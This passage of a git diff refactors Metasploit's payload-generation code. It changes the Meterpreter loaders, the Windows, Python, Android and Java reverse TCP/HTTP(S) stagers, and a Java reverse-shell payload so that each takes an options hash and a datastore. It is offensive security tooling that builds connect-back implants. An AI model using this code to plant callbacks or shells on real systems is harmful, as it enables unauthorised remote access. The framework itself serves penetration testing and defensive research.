#{datastore['SessionRetryWait']}") + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") uuid = opts[:uuid] || generate_payload_uuid uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - # patch in the stageless http(s) connection url - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != '' - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != '' + http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent'] + http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST'] + http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT'] - if opts[:http_proxy_host].to_s != '' - proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}" + # patch in the stageless http(s) connection url + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != '' + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' + + if http_proxy_host.to_s != '' + proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}" met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index 405eff6140..361ecb3c8e 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp # Generate the first stage # def generate(opts={}) + ds = opts[:datastore] || datastore opts.merge!({ - host: datastore['LHOST'] || '127.127.127.127', - port: datastore['LPORT'], - proxy_host: datastore['PayloadProxyHost'], - proxy_port: datastore['PayloadProxyPort'], - user_agent: datastore['MeterpreterUserAgent'] + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'], + proxy_host: ds['PayloadProxyHost'], + proxy_port: ds['PayloadProxyPort'], + user_agent: ds['MeterpreterUserAgent'] }) opts[:scheme] = 'http' if opts[:scheme].nil? diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index c8db0ab6cc..699e884714 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -89,7 +89,10 @@ module Msf::Payload::Stager # # @return [String,nil] def stage_payload(opts = {}) - return module_info['Stage']['Payload'] + if module_info['Stage'] + return module_info['Stage']['Payload'] + end + nil end # @@ -97,7 +100,10 @@ module Msf::Payload::Stager # # @return [String] def stage_assembly - return module_info['Stage']['Assembly'] + if module_info['Stage'] + return module_info['Stage']['Assembly'] + end + nil end # @@ -108,7 +114,10 @@ module Msf::Payload::Stager # # @return [Hash] def stage_offsets - return module_info['Stage']['Offsets'] + if module_info['Stage'] + return module_info['Stage']['Offsets'] + end + nil end # diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb index 398b3d0352..749b98c5f9 100644 --- a/lib/msf/core/payload/uuid.rb +++ b/lib/msf/core/payload/uuid.rb @@ -108,7 +108,7 @@ class Msf::Payload::UUID puid = seed_to_puid(opts[:seed]) end - puid ||= Rex::Text.rand_text(8) + puid ||= SecureRandom.random_bytes(8) if puid.length != 8 raise ArgumentError, "The :puid parameter must be exactly 8 bytes" @@ -256,7 +256,7 @@ class Msf::Payload::UUID end # Generate some sensible defaults - self.puid ||= Rex::Text.rand_text(8) + self.puid ||= SecureRandom.random_bytes(8) self.xor1 ||= rand(256) self.xor2 ||= rand(256) self.timestamp ||= Time.now.utc.to_i diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 9047397807..7190d4f8b9 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/reflective_dll_loader' +require 'rex/payloads/meterpreter/config' module Msf @@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader ^ end - def stage_meterpreter(stageless=false) + def stage_payload(opts={}) + stage_meterpreter(opts) + generate_config(opts) + end + + def generate_config(opts={}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + arch: opts[:uuid].arch, + exitfunk: ds['EXITFUNC'], + expiration: ds['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: opts[:transport_config] || [transport_config(opts)], + extensions: [] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + + def stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) asm_opts = { rdi_offset: offset, length: dll.length, - stageless: stageless + stageless: opts[:stageless] == true } asm = asm_invoke_metsrv(asm_opts) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 4f2f667f61..6f679cb343 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp # Generate the first stage # def generate(opts={}) + ds = opts[:datastore] || datastore conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], - port: datastore['LPORT'], - retry_count: datastore['StagerRetryCount'] + host: ds['LHOST'], + port: ds['LPORT'], + retry_count: ds['StagerRetryCount'] } # Add extra options if we have enough space if self.available_space && required_space <= self.available_space - conf[:url] = luri + generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] - conf[:ua] = datastore['MeterpreterUserAgent'] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:url] = luri + generate_uri(opts) + conf[:exitfunk] = ds['EXITFUNC'] + conf[:ua] = ds['MeterpreterUserAgent'] + conf[:proxy_host] = ds['PayloadProxyHost'] + conf[:proxy_port] = ds['PayloadProxyPort'] + conf[:proxy_user] = ds['PayloadProxyUser'] + conf[:proxy_pass] = ds['PayloadProxyPass'] + conf[:proxy_type] = ds['PayloadProxyType'] else # Otherwise default to small URIs conf[:url] = luri + generate_small_uri @@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp # # Generate the URI for the initial stager # - def generate_uri - - uri_req_len = datastore['StagerURILength'].to_i + def generate_uri(opts={}) + ds = opts[:datastore] || datastore + uri_req_len = ds['StagerURILength'].to_i # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index d194e40944..c54d205b4c 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps # # Generate the first stage # - def generate - super(ssl: true) + def generate(opts={}) + opts[:ssl] = true + super(opts) end # diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 11a16588e9..8eab10f6ea 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp # # Generate the first stage # - def generate + def generate(opts={}) + ds = opts[:datastore] || datastore conf = { - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], + port: ds['LPORT'], + host: ds['LHOST'], + retry_count: ds['ReverseConnectRetries'], reliable: false } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space - conf[:exitfunk] = datastore['EXITFUNC'] + conf[:exitfunk] = ds['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index e6d36c442f..cd5ba7c708 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -2,10 +2,10 @@ require 'msf/core' require 'msf/core/reflective_dll_loader' +require 'rex/payloads/meterpreter/config' module Msf - ### # # Common module stub for ARCH_X64 payloads that make use of Meterpreter. @@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64 ^ end - def stage_meterpreter(stageless=false) + def stage_payload(opts={}) + stage_meterpreter(opts) + generate_config(opts) + end + + def generate_config(opts={}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + arch: opts[:uuid].arch, + exitfunk: ds['EXITFUNC'], + expiration: ds['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: opts[:transport_config] || [transport_config(opts)], + extensions: [] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + + def stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll')) asm_opts = { rdi_offset: offset, length: dll.length, - stageless: stageless + stageless: opts[:stageless] == true } asm = asm_invoke_metsrv(asm_opts) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 9dcba339f1..4b301317fc 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64 # Generate the first stage # def generate(opts={}) + ds = opts[:datastore] || datastore + conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], - port: datastore['LPORT'], - retry_count: datastore['StagerRetryCount'] + host: ds['LHOST'], + port: ds['LPORT'], + retry_count: ds['StagerRetryCount'] } # add extended options if we do have enough space if self.available_space && required_space <= self.available_space - conf[:url] = luri + generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] - conf[:ua] = datastore['MeterpreterUserAgent'] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:url] = luri + generate_uri(opts) + conf[:exitfunk] = ds['EXITFUNC'] + conf[:ua] = ds['MeterpreterUserAgent'] + conf[:proxy_host] = ds['PayloadProxyHost'] + conf[:proxy_port] = ds['PayloadProxyPort'] + conf[:proxy_user] = ds['PayloadProxyUser'] + conf[:proxy_pass] = ds['PayloadProxyPass'] + conf[:proxy_type] = ds['PayloadProxyType'] else # Otherwise default to small URIs conf[:url] = luri + generate_small_uri @@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64 # # Generate the URI for the initial stager # - def generate_uri - - uri_req_len = datastore['StagerURILength'].to_i + def generate_uri(opts={}) + ds = opts[:datastore] || datastore + uri_req_len = ds['StagerURILength'].to_i # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) - end if uri_req_len < 5 diff --git a/lib/msf/core/payload/windows/x64/reverse_https.rb b/lib/msf/core/payload/windows/x64/reverse_https.rb index 32d3a20b9f..dc50b5ca9f 100644 --- a/lib/msf/core/payload/windows/x64/reverse_https.rb +++ b/lib/msf/core/payload/windows/x64/reverse_https.rb @@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64 # # Generate the first stage # - def generate - super(ssl: true) + def generate(opts={}) + opts[:ssl] = true + super(opts) end end diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index 15b7441c16..788e8ee04d 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -29,7 +29,8 @@ class PayloadCachedSize 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', 'RC4PASSWORD' => 'Metasploit', 'DNSZONE' => 'corelan.eu', - 'PEXEC' => '/bin/sh' + 'PEXEC' => '/bin/sh', + 'StagerURILength' => 5 }, 'Encoder' => nil, 'DisableNops' => true diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 5054756e07..a5027e22fe 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe }, + 'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi }, 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 diff --git a/modules/payloads/singles/android/meterpreter_reverse_http.rb b/modules/payloads/singles/android/meterpreter_reverse_http.rb index 460461e9d4..0ae870d3af 100644 --- a/modules/payloads/singles/android/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/android/meterpreter_reverse_http.rb @@ -35,9 +35,6 @@ module MetasploitModule 'Session' => Msf::Sessions::Meterpreter_Java_Android, 'Payload' => '', )) - register_options([ - OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) - ], self.class) end # diff --git a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb index 44ce3c83f9..36da7c31c4 100644 --- a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb @@ -30,9 +30,6 @@ module MetasploitModule 'Session' => Msf::Sessions::Meterpreter_Java_Android, 'Payload' => '', )) - register_options([ - OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) - ], self.class) end # diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 8a8cd0645a..3754ae2026 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -16,37 +16,24 @@ module MetasploitModule include Msf::Payload::Java include Msf::Sessions::CommandShellOptions - def initialize(info = {}) + def initialize(info={}) super(merge_info(info, - 'Name' => 'Java Command Shell, Reverse TCP Inline', - 'Description' => 'Connect back to attacker and spawn a command shell', - 'Author' => [ - 'mihi', # all the hard work - 'egypt' # msf integration - ], - 'License' => MSF_LICENSE, - 'Platform' => [ 'java' ], - 'Arch' => ARCH_JAVA, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::CommandShell, - 'Payload' => - { - 'Offsets' => { }, - 'Payload' => '' - } + 'Name' => 'Java Command Shell, Reverse TCP Inline', + 'Description' => 'Connect back to attacker and spawn a command shell', + 'Author' => ['mihi', 'egypt'], + 'License' => MSF_LICENSE, + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => {'Offsets' => {}, 'Payload' => ''} )) - @class_files = [ - [ "metasploit", "Payload.class" ], - [ "javapayload", "stage", "Stage.class" ], - [ "javapayload", "stage", "StreamForwarder.class" ], - [ "javapayload", "stage", "Shell.class" ], - ] end def generate_jar(opts={}) jar = Rex::Zip::Jar.new jar.add_sub("metasploit") if opts[:random] - @class_files.each do |path| + class_files.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) @@ -57,15 +44,16 @@ module MetasploitModule jar.add_file(path.join("/"), data) end jar.build_manifest(:main_class => "metasploit.Payload") - jar.add_file("metasploit.dat", config) + jar.add_file("metasploit.dat", stager_config(opts)) jar end - def config + def stager_config(opts={}) + ds = opts[:datastore] || datastore c = "" - c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"] - c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] + c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"] + c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"] # Magical, means use stdin/stdout. Used for debugging #c << "LPORT=0\n" c << "EmbeddedStage=Shell\n" @@ -73,4 +61,12 @@ module MetasploitModule c end + def class_files + [ + ['metasploit', 'Payload.class'], + ['javapayload', 'stage', 'Stage.class'], + ['javapayload', 'stage', 'StreamForwarder.class'], + ['javapayload', 'stage', 'Shell.class'], + ] + end end diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index b015c02417..c8e7a8dd2c 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -35,7 +35,7 @@ module MetasploitModule def generate_reverse_http(opts={}) opts[:uri_uuid_mode] = :init_connect met = stage_meterpreter({ - http_url: generate_callback_url(opts), + url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port] diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index c3090e38c2..94ac4c92ea 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -36,7 +36,7 @@ module MetasploitModule opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect met = stage_meterpreter({ - http_url: generate_callback_url(opts), + url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port] diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 4aba839b4d..9093d71462 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -40,8 +40,9 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 9b1ac80418..f3a3f958a3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -40,13 +40,13 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid - opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 91b073a44b..6ae21b0cce 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -40,13 +40,13 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid - opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 8cdbd91f25..19fdc2c00c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -41,8 +41,9 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index e2c6f3a72b..2d254da0af 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -40,8 +40,9 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 3633b8036f..918989f4c0 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -40,8 +40,9 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 329fd56d11..4d6af0ac80 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -40,13 +40,13 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid - opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index e65314a9dc..ec4500ea52 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -40,13 +40,13 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid - opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index cb357b97cc..1198f991cf 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -41,8 +41,9 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index db6d7e57a1..5368ebe0c2 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -40,8 +40,9 @@ module MetasploitModule ], self.class) end - def generate - stage_meterpreter(true) + generate_config + def generate(opts={}) + opts[:stageless] = true + stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index b1e91cd704..6ea8ce69b5 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/android/reverse_http' require 'msf/core/payload/uuid/options' module MetasploitModule @@ -13,7 +14,7 @@ module MetasploitModule include Msf::Payload::Stager include Msf::Payload::Android - include Msf::Payload::UUID::Options + include Msf::Payload::Android::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -24,21 +25,8 @@ module MetasploitModule 'Platform' => 'android', 'Arch' => ARCH_DALVIK, 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'javaurl', 'Stager' => {'Payload' => ''} )) end - - # - # Generate the transport-specific configuration - # - def transport_config(opts={}) - transport_config_reverse_http(opts) - end - - def generate_config_bytes(opts={}) - uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) - opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len) - super(opts) - end - end diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index d2346af1b1..9d2e50810d 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/android/reverse_https' require 'msf/core/payload/uuid/options' module MetasploitModule @@ -13,7 +14,7 @@ module MetasploitModule include Msf::Payload::Stager include Msf::Payload::Android - include Msf::Payload::UUID::Options + include Msf::Payload::Android::ReverseHttps def initialize(info = {}) super(merge_info(info, @@ -24,21 +25,8 @@ module MetasploitModule 'Platform' => 'android', 'Arch' => ARCH_DALVIK, 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'javaurl', 'Stager' => {'Payload' => ''} )) end - - # - # Generate the transport-specific configuration - # - def transport_config(opts={}) - transport_config_reverse_https(opts) - end - - def generate_config_bytes(opts={}) - uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) - opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len) - super(opts) - end - end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 423e3f4c1b..f4a43c1825 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -3,40 +3,29 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit-payloads' require 'msf/core' require 'msf/core/handler/reverse_tcp' -require 'msf/core/payload/transport_config' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' +require 'msf/core/payload/android/reverse_tcp' module MetasploitModule CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::TransportConfig include Msf::Payload::Android - include Msf::Payload::UUID::Options + include Msf::Payload::Android::ReverseTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Android Reverse TCP Stager', - 'Description' => 'Connect back stager', - 'Author' => ['timwr', 'OJ Reeves'], - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ''} - )) + 'Name' => 'Android Reverse TCP Stager', + 'Description' => 'Connect back stager', + 'Author' => ['mihi', 'egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'javasocket', + 'Stager' => {'Payload' => ''} + )) end - - # - # Generate the transport-specific configuration - # - def transport_config(opts={}) - transport_config_reverse_tcp(opts) - end - end diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index d6d8c0e14e..0c14e94900 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -5,58 +5,27 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' +require 'msf/core/payload/java/bind_tcp' module MetasploitModule - CachedSize = 5105 + CachedSize = 5118 include Msf::Payload::Stager include Msf::Payload::Java + include Msf::Payload::Java::BindTcp - def initialize(info = {}) + def initialize(info={}) super(merge_info(info, - 'Name' => 'Java Bind TCP Stager', - 'Description' => 'Listen for a connection', - 'Author' => [ - 'mihi', # all the hard work - 'egypt', # msf integration - ], - 'License' => MSF_LICENSE, - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'javasocket', - 'Stager' => {'Payload' => ""} - )) - - register_advanced_options( - [ - Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]), - Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) - ], self.class - ) - - @class_files = [ ] + 'Name' => 'Java Bind TCP Stager', + 'Description' => 'Listen for a connection', + 'Author' => ['mihi', 'egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'javasocket', + 'Stager' => {'Payload' => ''} + )) end - - def config - spawn = datastore["Spawn"] || 2 - c = "" - c << "Spawn=#{spawn}\n" - pass = datastore["AESPassword"] || "" - if pass != "" - c << 